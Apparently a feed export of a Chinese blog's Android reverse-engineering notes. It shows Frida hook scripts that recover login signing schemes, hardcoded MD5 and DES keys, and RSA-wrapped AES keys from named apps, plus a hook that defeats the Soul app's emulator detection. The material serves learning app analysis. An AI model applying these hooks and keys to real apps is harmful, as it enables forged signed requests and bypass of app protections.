class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] digest结果(hex):e8ca11ce1d27aa18ed6840617b8cbcf7</span><br><span class="line">[*] digest结果(base64):6MoRzh0nqhjtaEBhe4y89w==</span><br><span class="line">[*] digest结果(hex):e8ca11ce1d27aa18ed6840617b8cbcf7</span><br><span class="line">[*] digest结果(base64):6MoRzh0nqhjtaEBhe4y89w==</span><br></pre></td></tr></table></figure><p>该签名与<code>a1f*(DV&lt;&gt;ME29p08adsfKQ@N&gt;FEP*(F&amp;G)&amp;B)R@PVDbvnTPFPSDFQ&gt;QM@o9i8t5P_)(SGB?9c9c5f3bff756cf5395265b6c5f0d8f0fb4f89a9464e3a318111b337f92a9f1c</code>有关。此过程也为MD5加密。其中一段为9c9c5f3bff756cf5395265b6c5f0d8f0为password值。<code>fb4f89a9464e3a318111b337f92a9f1c</code>为once值。前面的一段<code>a1f*(DV&lt;&gt;ME29p08adsfKQ@N&gt;FEP*(F&amp;G)&amp;B)R@PVDbvnTPFPSDFQ&gt;QM@o9i8t5P_)(SGB?</code>为固定值。</p><p>所以签名值resign为固定值+password+once然后进行md5加密。</p><p>而最后的值<code>uuid=77a0332f1ca14daf9337f941bcc86e70</code>可能为用户名标识或者手机设备识别码。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br></pre></td></tr></table></figure><p>pwdcode值为<code>YTEyMzQ1Ng==</code>为密码的base64。</p><p>自此如上加密数据所有部分都通过hook输出内容进行了分析。</p><h4><span id="rsa加密过程分析">RSA加密过程分析</span></h4><p>在hook输出内容中还有，RSA加密过程。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">[*] ======================================</span><br><span class="line">[*] RSA密钥:MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCDiI/dCs429FC75NYnF82omzzAweej2VdpdaKP3DL0D/s3Hg7cnVTGBh6yRrKYI9cvBKorxdrCEaW0SXZYBH5nvmCg8qyzO8jBj08ISiukEQuqG2oS0L2sbcQl0MV7rExsyO0vlPpND7klBWikAIO1UfZW1ab/EWit1XkaXCr6nQIDAQAB</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at javax.crypto.Cipher.getInstance(Native Method)</span><br><span class="line">at com.faloo.util.SignUtils.encrypt(Proguard:104)</span><br><span class="line">at com.faloo.util.EncryptUtil._e8(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.getRSAEncrypt(Proguard:166)</span><br><span class="line">at com.faloo.network.module.b.d(Proguard:39)</span><br><span class="line">at com.faloo.network.util.e.a(Proguard:101)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:141)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] 模式填充:RSA/ECB/PKCS1Padding</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at javax.crypto.Cipher.doFinal(Native Method)</span><br><span class="line">at com.faloo.util.SignUtils.encrypt(Proguard:106)</span><br><span class="line">at com.faloo.util.EncryptUtil._e8(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.getRSAEncrypt(Proguard:166)</span><br><span class="line">at com.faloo.network.module.b.d(Proguard:39)</span><br><span class="line">at com.faloo.network.util.e.a(Proguard:101)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:141)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] doFinal参数:DD240BF148903189BF8DAE0C220C9591</span><br><span class="line">[*] doFinal结果(hex):028f36e0538d52fe0b243c02cc68fc1a8a741215e868ef500e87142a84850db9e8cbacbf2e4b77b0c5088b9879b3f99d0fd57b239ffa7894b672722143affe03b504b00bf4d4c82264215d61d5e66c8db0f18f5463a544a7a8dff86f77e6ef16b885091bc6f5034003a300a1d9b38022612b4369f47b17eba5a3adfb5857f6c5</span><br><span class="line">[*] doFinal结果(base64):Ao824FONUv4LJDwCzGj8Gop0EhXoaO9QDocUKoSFDbnoy6y/Lkt3sMUIi5h5s/mdD9V7I5/6eJS2cnIhQ6/+A7UEsAv01MgiZCFdYdXmbI2w8Y9UY6VEp6jf+G935u8WuIUJG8b1A0ADowCh2bOAImErQ2n0exfrpaOt+1hX9sU=</span><br></pre></td></tr></table></figure><p>如上为RSA加密过程公钥为<code>MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCDiI/dCs429FC75NYnF82omzzAweej2VdpdaKP3DL0D/s3Hg7cnVTGBh6yRrKYI9cvBKorxdrCEaW0SXZYBH5nvmCg8qyzO8jBj08ISiukEQuqG2oS0L2sbcQl0MV7rExsyO0vlPpND7klBWikAIO1UfZW1ab/EWit1XkaXCr6nQIDAQAB</code></p><p>模式填充:<code>RSA/ECB/PKCS1Padding</code></p><p>加密数据为：<code>DD240BF148903189BF8DAE0C220C9591</code></p><p>加密结果为：<code>Ao824FONUv4LJDwCzGj8Gop0EhXoaO9QDocUKoSFDbnoy6y/Lkt3sMUIi5h5s/mdD9V7I5/6eJS2cnIhQ6/+A7UEsAv01MgiZCFdYdXmbI2w8Y9UY6VEp6jf+G935u8WuIUJG8b1A0ADowCh2bOAImErQ2n0exfrpaOt+1hX9sU=</code></p><p>这个过程是为了加密AES密钥，因为RSA加密的加密数据长度是有限的。</p><blockquote><p>RSA一次能加密的明文长度与密钥长度成正比：</p><p>len_in_byte(raw_data) = len_in_bit(key)/8 -11，如 1024bit 的密钥，一次能加密的内容长度为 1024/8 -11 = 117 byte。</p><p>所以非对称加密一般都用于加密对称加密算法的密钥，而不是直接加密内容</p></blockquote><p>因为AES是对称加密</p><blockquote><p>对称加密就是指，<strong>加密和解密使用同一个密钥的加密方式。</strong></p><p>发送方使用密钥将明文数据加密成密文，然后发送出去，接收方收到密文后，使用同一个密钥将密文解密成明文读取。</p><p>优点：<strong>加密计算量小、速度块，适合对大量数据进行加密的场景。</strong></p></blockquote><p>所以通常流量数据为AES，但是AES存在安全问题就是，AES的密钥要是被截获了就可以任意解密数据。</p><p>所以目前APP中的加密套路就是:</p><p><strong>客户端：流量数据通过AES加密发送给服务端，同时AES密钥随机生成通过RSA公钥加密发服务端</strong></p><p><strong>服务端：服务端接收到RSA加密后的AES密钥通过RSA私钥进行解密得到AES密钥，然后通过AES密钥解密流量数据进行验证。</strong></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;traceviewfrida&quot;&gt;Traceview+frida&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;TraceView 是 Android SDK 中内置的一个工具，它可以加载 &lt;strong&gt;trace&lt;/strong&gt; 文件，用图形的形式展示&lt;strong
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frida-Hook实战一</title>
    <link href="https://uknowsec.cn/posts/notes/frida-Hook%E5%AE%9E%E6%88%98%E4%B8%80.html"/>
    <id>https://uknowsec.cn/posts/notes/frida-Hook实战一.html</id>
    <published>2019-12-23T12:00:04.000Z</published>
    <updated>2019-12-23T12:00:55.899Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="邻居合伙人hook">邻居合伙人Hook</span></h3><p>对邻居合伙人APP登录sign签名算法的hook。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577081242331.png" alt="1577081242331"></p><p>在登录处进行抓包操作，可以看到登录数据报中有apisign字段。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577081216180.png" alt="1577081216180"></p><p>对APK进行反编译，搜索apisign关键字。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577082970426.png" alt="1577082970426"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">newBodyBuilder.add(&quot;data&quot;, data.toString());</span><br><span class="line">newBodyBuilder.add(&quot;apisign&quot;, MD5Util.ToMD5(Constants.MD5_KEY, data.toString()));</span><br><span class="line">L.d(&quot;请求地址RequestUrl=====&quot;, oldUrl.url().toString());</span><br><span class="line">L.d(&quot;请求参数Params=========&quot;, data.toString());</span><br><span class="line">L.json(data.toString());</span><br><span class="line">return newBodyBuilder.build();</span><br></pre></td></tr></table></figure><p>根据代码可以看到，apisign内容主要是通过MD5Util类的ToMD5()方法生成的，跳转到ToMD5()方法内容：</p><pre><code>public static String ToMD5(String secretKey, String pstr) {    pstr = secretKey + pstr;    char[] hexDigits = new char[]{&apos;0&apos;, &apos;1&apos;, &apos;2&apos;, &apos;3&apos;, &apos;4&apos;, &apos;5&apos;, &apos;6&apos;, &apos;7&apos;, &apos;8&apos;, &apos;9&apos;, &apos;A&apos;, &apos;B&apos;, &apos;C&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;};    try {        MessageDigest md5Temp = MessageDigest.getInstance(&quot;MD5&quot;);        md5Temp.update(pstr.getBytes(&quot;UTF8&quot;));        char[] str = new char[(j * 2)];        int k = 0;        for (byte byte0 : md5Temp.digest()) {            int i = k + 1;            str[k] = hexDigits[(byte0 &gt;&gt;&gt; 4) &amp; 15];            k = i + 1;            str[i] = hexDigits[byte0 &amp; 15];        }        return new String(str).toLowerCase();    } catch (Exception e) {        return null;    }}</code></pre><p>这个方法有两个参数，一个secretkey和pstr。且为普通函数。通过静态分析，MD5Util.ToMD5()传入两个值，一个是Constants.MD5_KEY,跳转发现是Constants类的静态变量。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577083722889.png" alt="1577083722889"></p><p>其值为：d367f4699214cec412f7c2a1d513fe05。另外一个变量则是app登录信息。</p><p>而用frida主要是对MD5Util.ToMD5()方法的两个变量进行hook。</p><p>编写如下hook脚本。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> frida</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"> </span><br><span class="line">jscode = <span class="string">"""</span></span><br><span class="line"><span class="string">Java.perform(function () &#123;</span></span><br><span class="line"><span class="string">    var md5 = Java.use('com.softgarden.baselibrary.utils.MD5Util');</span></span><br><span class="line"><span class="string">    md5.ToMD5.implementation = function (a, b) &#123;</span></span><br><span class="line"><span class="string">        send("Hook Start...");</span></span><br><span class="line"><span class="string">        console.log("arg1:   " + a );</span></span><br><span class="line"><span class="string">        console.log("arg2:   " + b);</span></span><br><span class="line"><span class="string">        var res = this.ToMD5(a, b);</span></span><br><span class="line"><span class="string">        console.log("return:   " + res);</span></span><br><span class="line"><span class="string">        send("Success!");</span></span><br><span class="line"><span class="string">        return res;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">&#125;);</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">message</span><span class="params">(message, data)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> message[<span class="string">"type"</span>] == <span class="string">'send'</span>:</span><br><span class="line">        print(<span class="string">"[*] &#123;0&#125;"</span>.format(message[<span class="string">'payload'</span>]))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(message)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">device = frida.get_remote_device()</span><br><span class="line">pid = device.spawn([<span class="string">"com.ljhhr.mobile"</span>])</span><br><span class="line">device.resume(pid)</span><br><span class="line">time.sleep(<span class="number">1</span>)  <span class="comment"># Without it Java.perform silently fails</span></span><br><span class="line">session = device.attach(pid)</span><br><span class="line">script = session.create_script(jscode)</span><br><span class="line">script.on(<span class="string">"message"</span>, message)</span><br><span class="line">script.load()</span><br><span class="line">sys.stdin.read()</span><br></pre></td></tr></table></figure><p>运行如上脚本进行hook，可以看到如下结果。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577086081315.png" alt="1577086081315"></p><p>通过多次hook可以看到第一个变量为固定的，即我们静态分析代码得到的：d367f4699214cec412f7c2a1d513fe05</p><p>第二个参数为输入登录的输入内容。至此，完成对该APP的sign算法的hook。</p><h3><span id="嘟嘟牛在线hook">嘟嘟牛在线Hook</span></h3><p>同样在登录界面，进行抓包操作。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577088552194.png" alt=""></p><p>同时对apk进行反编译。可以搜索url路径关键字：user/login，也可以搜索数据报关键字：Encrypt。</p><p>搜索user/login定位到类名：com.dodonew.online.ui.LoginActivity中的requestNetwork方法。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577088736128.png" alt="1577088736128"></p><p>分析代码，可知数据报中的内容通过addRequestMap方法添加。跳转到com.dodonew.online.http.JsonRequest类的addRequestMap方法。</p><p>定位到我们在数据报中看到的关键字：Encrypt。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577088836168.png" alt="1577088836168"></p><p>此处的encrypt即加密后的内容。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String encrypt = RequestUtil.encodeDesMap(RequestUtil.paraMap(addMap, Config.BASE_APPEND, &quot;sign&quot;), this.desKey, this.desIV);</span><br></pre></td></tr></table></figure><p>通过des算法进行加密后的数据。该方法为encodeDesMap。其有三个参数。</p><p>跟踪变量desKey，desIV。跳转到com.dodonew.online.config.Config类。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577089081679.png" alt="1577089081679"></p><p>可以得到des加密算法的key值为65102933，偏移值IV为：32028092。</p><p>跟踪encodeDesMap方法的第一个参数。RequestUtil.paraMap(addMap, Config.BASE_APPEND, “sign”)</p><p>跟进paraMap方法到com.dodonew.online.http.RequestUtil类。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577089875523.png" alt="1577089875523"></p><p>发现存在sign,跟进md5方法到com.dodonew.online.util.Utils类。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577090272134.png" alt="1577090272134"></p><p>可以看到md5是一个普通的方法。如果需要进行hook，直接hook参数值和返回值就行了。</p><p>hook部分的js代码如下：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> Utils = Java.use(<span class="string">'com.dodonew.online.util.Utils'</span>);</span><br><span class="line">Utils.md5.implementation = <span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>&#123;</span><br><span class="line">    send(<span class="string">"Hook Start md5..."</span>);</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">"md5-arg:   "</span> + a);</span><br><span class="line">    <span class="keyword">var</span> result = <span class="keyword">this</span>.md5(a);</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">"md5-result:   "</span> + result);</span><br><span class="line">    send(<span class="string">"Success!"</span>);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而com.dodonew.online.http.RequestUtil类下的encodeDesMap方法是一个重载方法。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577090685066.png" alt="1577090685066"></p><p>所以在传入需要hook的方法是要用到overload。且这里的重载参数类型为String。所以要用overload(‘java.lang.String’,’java.lang.String’,’java.lang.String’)。因为String在Java中是以类的形式存在的数据类型。同时String类在java.lang包中。<br>故此处的js代码为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var RequestUtil = Java.use(&apos;com.dodonew.online.http.RequestUtil&apos;);    RequestUtil.encodeDesMap.overload(&apos;java.lang.String&apos;,&apos;java.lang.String&apos;,&apos;java.lang.String&apos;).implementation = function (data, key ,iv) &#123;</span><br><span class="line">        send(&quot;Hook Start encodeDesMap...&quot;);</span><br><span class="line">       console.log(&quot;encodeDesMap-data:   &quot; + data);</span><br><span class="line">       console.log(&quot;encodeDesMap-key:   &quot; + key);</span><br><span class="line">       console.log(&quot;encodeDesMap-iv:   &quot; + iv);</span><br><span class="line">        var result = this.encodeDesMap(data, key ,iv);</span><br><span class="line">       console.log(&quot;encodeDesMap-result:   &quot; + result);</span><br><span class="line">        send(&quot;Success!&quot;);</span><br><span class="line">        return result;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>python通用hook模版加载两段js代码即可对该APP进行hook。</p><p>成功hook到所有参数。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577091207270.png" alt="1577091207270"></p><h3><span id="soul-hook">Soul Hook</span></h3><p>Soul是一款社交app，此APP在模拟器中是无法启动的,如下：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577092404464.png" alt="1577092404464"></p><p>显示<code>SoulApp暂不支持模拟器，请稍后再试~</code></p><p>搜索关键字<code>SoulApp暂不支持模拟器，请稍后再试~</code>定位到cn.soulapp.android.ui.splash.SplashActivity类下。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577092850497.png" alt="1577092850497"></p><p>可见此处判断if (cn.soulapp.android.utils.j.e())返回的是true。</p><p>跟进方法e到类。cn.soulapp.android.utils.j</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">e</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        SoulApp b = SoulApp.b();</span><br><span class="line">        Intent intent = <span class="keyword">new</span> Intent();</span><br><span class="line">        intent.setData(Uri.parse(<span class="string">"tel:123456"</span>));</span><br><span class="line">        intent.setAction(<span class="string">"android.intent.action.DIAL"</span>);</span><br><span class="line">        <span class="keyword">return</span> Build.FINGERPRINT.startsWith(<span class="string">"generic"</span>) || Build.FINGERPRINT.toLowerCase().contains(<span class="string">"vbox"</span>) || Build.FINGERPRINT.toLowerCase().contains(<span class="string">"test-keys"</span>) || Build.MODEL.contains(<span class="string">"google_sdk"</span>) || Build.MODEL.contains(<span class="string">"Emulator"</span>) || Build.SERIAL.equalsIgnoreCase(<span class="string">"unknown"</span>) || Build.SERIAL.equalsIgnoreCase(DispatchConstants.ANDROID) || Build.MODEL.contains(<span class="string">"Android SDK built for x86"</span>) || Build.MANUFACTURER.contains(<span class="string">"Genymotion"</span>) || ((Build.BRAND.startsWith(<span class="string">"generic"</span>) &amp;&amp; Build.DEVICE.startsWith(<span class="string">"generic"</span>)) || <span class="string">"google_sdk"</span>.equals(Build.PRODUCT) || ((TelephonyManager) b.getSystemService(<span class="string">"phone"</span>)).getNetworkOperatorName().toLowerCase().equals(DispatchConstants.ANDROID) || (intent.resolveActivity(b.getPackageManager()) != <span class="keyword">null</span> ? <span class="number">1</span> : <span class="keyword">null</span>) == <span class="keyword">null</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们只需要把e方法的返回值改为false，即可跳过模拟器验证。</p><p>js代码如下：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> j = Java.use(<span class="string">'cn.soulapp.android.utils.j'</span>);</span><br><span class="line">j.e.implementation = <span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>&#123;</span><br><span class="line">    send(<span class="string">"Hook Start ..."</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行hook脚本，成功进入登录界面</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1577093544446.png" alt="1577093544446"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;邻居合伙人hook&quot;&gt;邻居合伙人Hook&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;对邻居合伙人APP登录sign签名算法的hook。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://uknowsec-1251971873.cos.ap-shanghai.myqc
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frida-Java层代码Hook</title>
    <link href="https://uknowsec.cn/posts/notes/frida-Java%E5%B1%82%E4%BB%A3%E7%A0%81Hook.html"/>
    <id>https://uknowsec.cn/posts/notes/frida-Java层代码Hook.html</id>
    <published>2019-12-06T02:37:05.000Z</published>
    <updated>2019-12-06T02:47:25.684Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="hook构造方法">Hook构造方法</span></h3><p>要hook的是一个类的构造函数</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Utils</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Money <span class="title">getMoney</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> Money(<span class="number">60</span>, <span class="string">"RMB"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以通过<code>$init</code>来获取并修改一个类的构造方法。（注意，js是弱类型语言，而Java强类型，注意构造的时候的类型转换。）</p><p>获取参数可以通过自定义参数名也可以直接用系统隐含的arguments变量获取即可</p><p> 下面是jscode</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> money=Java.use(<span class="string">"com.XXXX.app.Money"</span>);</span><br><span class="line">money.$init.implementation = <span class="function"><span class="keyword">function</span>(<span class="params">a, b</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">"Hook Start..."</span>);</span><br><span class="line">    send(<span class="built_in">arguments</span>[<span class="number">0</span>]);</span><br><span class="line">    send(<span class="built_in">arguments</span>[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">this</span>.$init(a,b);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="hook重载方法">Hook重载方法</span></h3><p>要hook的重载方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Utils</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">test</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"this is test without argument"</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">test</span><span class="params">(<span class="keyword">int</span> num)</span> </span>&#123;</span><br><span 